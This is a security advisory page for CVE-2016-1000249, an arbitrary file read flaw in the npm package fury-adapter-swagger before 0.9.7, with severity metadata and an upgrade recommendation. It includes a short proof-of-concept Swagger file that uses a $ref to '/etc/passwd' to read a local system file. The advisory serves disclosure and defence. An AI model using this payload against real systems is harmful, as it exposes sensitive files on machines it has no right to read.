GHSA-2r7f-4h2c-5x73

Suggest an improvement
Source
https://github.com/advisories/GHSA-2r7f-4h2c-5x73
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-2r7f-4h2c-5x73/GHSA-2r7f-4h2c-5x73.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-2r7f-4h2c-5x73
Aliases
  • CVE-2016-1000249
Published
2020-09-01T16:38:33Z
Modified
2023-11-08T03:58:08.519720Z
Severity
  • 7.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L CVSS Calculator
Summary
fury-adapter-swagger allows arbitrary file read from system
Details

fury-adapter-swagger from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like /dev/zero.

Proof of Concept:

---
swagger: '2.0'
info:
  title: Read local files
  version: '1.0'

paths:
  /foo:
    get:
      responses:
        200:
          description: Some description
          examples:
            text/html:
              example:
                $ref: '/etc/passwd'

Recommendation

Upgrade to version 0.9.7 or later.

Database specific
{
    "nvd_published_at": null,
    "github_reviewed_at": "2020-08-31T18:18:37Z",
    "github_reviewed": true,
    "severity": "HIGH",
    "cwe_ids": [
        "CWE-22"
    ]
}
References

Affected packages

npm / fury-adapter-swagger

Package

Name
fury-adapter-swagger
View open source insights on deps.dev
Purl
pkg:npm/fury-adapter-swagger

Affected ranges

Type
SEMVER
Events
Introduced
0.2.0
Fixed
0.9.7